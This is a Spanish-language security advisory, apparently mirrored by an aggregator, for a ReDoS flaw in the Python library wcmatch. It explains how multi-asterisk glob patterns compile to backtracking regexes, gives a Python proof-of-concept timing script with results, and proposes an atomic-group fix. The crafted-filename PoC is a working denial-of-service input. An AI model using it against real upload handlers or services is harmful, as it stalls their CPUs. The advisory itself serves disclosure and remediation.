GHSA-53PM-WGXF-C6QF
wcmatch: ReDoS de tiempo polinomial al comparar nombres no confiables con patrones de múltiples asteriscos (banderas predeterminadas)
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 11.2.0 | wcmatch · -29 d desde divulgación | |
| Divulgación | Publicada | GHSA-53PM-WGXF-C6QF divulgada | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Resumen
Con las banderas predeterminadas, un patrón que contiene varios comodines `*` requiere tiempo polinomial, O(n^k) para k asteriscos, para rechazar un nombre de archivo manipulado. El patrón es una constante ordinaria escrita por el desarrollador, como `*_*_*_*_*.csv`; solo la cadena que se compara proviene del atacante. Un nombre de archivo de 255 bytes (el máximo en los sistemas de archivos comunes) tarda 73 s con `fnmatch.fnmatch()` y 86 s con `glob.globmatch()`. El módulo `fnmatch` de la biblioteca estándar procesa la misma entrada en menos de un milisegundo.
Esto es distinto de GHSA-84v8-qmgq-9g88: ese aviso cubre patrones extglob, mientras que este caso no requiere banderas ni un patrón controlado por el atacante.
Detalles
Cada `*` se traduce a un `.*?` perezoso (`_STAR`, `wcmatch/_wcparse.py:212`; `_PATH_STAR` `[^/]*?`, `:218`), que se emite en `_handle_star` (`:1405-1424`):
*_*_*_*_*.csv -> ^(?s:(?=.)(?![.]).*?_.*?_.*?_.*?_.*?\.csv)$Cuando el sujeto está formado por muchos `_` y no termina en `.csv`, el motor de expresiones regulares prueba todas las formas posibles de dividirlo entre los asteriscos. CPython corrigió el mismo problema en su propio `fnmatch` (bpo-40480) haciendo atómico cada segmento de asterisco excepto el último.
PoC
import time, fnmatch as std
from wcmatch import fnmatch, glob
for pat, n in [('*_*_*_*.csv', 255), ('*_*_*_*.csv', 400), ('*_*_*_*_*.csv', 150),
('*_*_*_*_*.csv', 200), ('*_*_*_*_*.csv', 255)]:
name = '_' * n
t = time.perf_counter(); fnmatch.fnmatch(name, pat); w = time.perf_counter() - t
t = time.perf_counter(); std.fnmatchcase(name, pat); s = time.perf_counter() - t
print(f'{pat:15} len={n} wcmatch={w:.3f}s stdlib={s:.5f}s')
t = time.perf_counter(); glob.globmatch('uploads/' + '_' * 255, 'uploads/*_*_*_*_*.csv')
print(f'globmatch {time.perf_counter() - t:.2f}s')wcmatch 11.1, CPython 3.13, macOS:
*_*_*_*.csv len=255 wcmatch=1.412s stdlib=0.00001s
*_*_*_*.csv len=400 wcmatch=8.599s stdlib=0.00004s
*_*_*_*_*.csv len=150 wcmatch=5.333s stdlib=0.00003s
*_*_*_*_*.csv len=200 wcmatch=22.415s stdlib=0.00007s
*_*_*_*_*.csv len=255 wcmatch=72.732s stdlib=0.00047s
globmatch 85.75s`glob.glob('*_*_*_*.csv', root_dir=d)` sobre un directorio real que contiene un único archivo llamado `'_' * 255` tarda 1.7 s.
Impacto
Las aplicaciones que comparan nombres no confiables con patrones de múltiples asteriscos pueden bloquear un núcleo de CPU durante minutos por cada nombre. Ejemplos: manejadores de carga de archivos, filtros de claves de archivos comprimidos o de almacenamiento de objetos, y análisis de directorios con `glob`/`WcMatch` donde otros usuarios pueden crear archivos. No se requiere autenticación.
Solución
Emitir cada segmento de asterisco excepto el último como grupo atómico, como hace la biblioteca estándar. En Python 3.11 y posteriores usar `(?>.*?_)`; en 3.10 usar la forma con lookahead y referencia hacia atrás de `fnmatch._join_translated_parts`. Por ejemplo:
^(?s:(?=.)(?![.])(?>.*?_)(?>.*?_)(?>.*?_)(?>.*?_).*?\.csv)$Esto rechaza el nombre de 255 bytes en menos de 1 ms. En mis pruebas de muestra, produce los mismos resultados que la expresión regular actual. El mismo cambio aplica a `_PATH_STAR`.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypiwcmatch |
Corregida | 11.2.0 | -29 d | 12.0.4 no afectada |
11.211.2.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://nvd.nist.gov/vuln/detail/CVE-2026-132276https://github.com/facelessuser/wcmatch/security/advisories/GHSA-53pm-wgxf-c6qfhttps://github.com/facelessuser/wcmatch/commit/83491aadde57780330f993620083e979f645c80chttps://github.com/facelessuser/wcmatchhttps://github.com/facelessuser/wcmatch/releases/tag/11.2Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
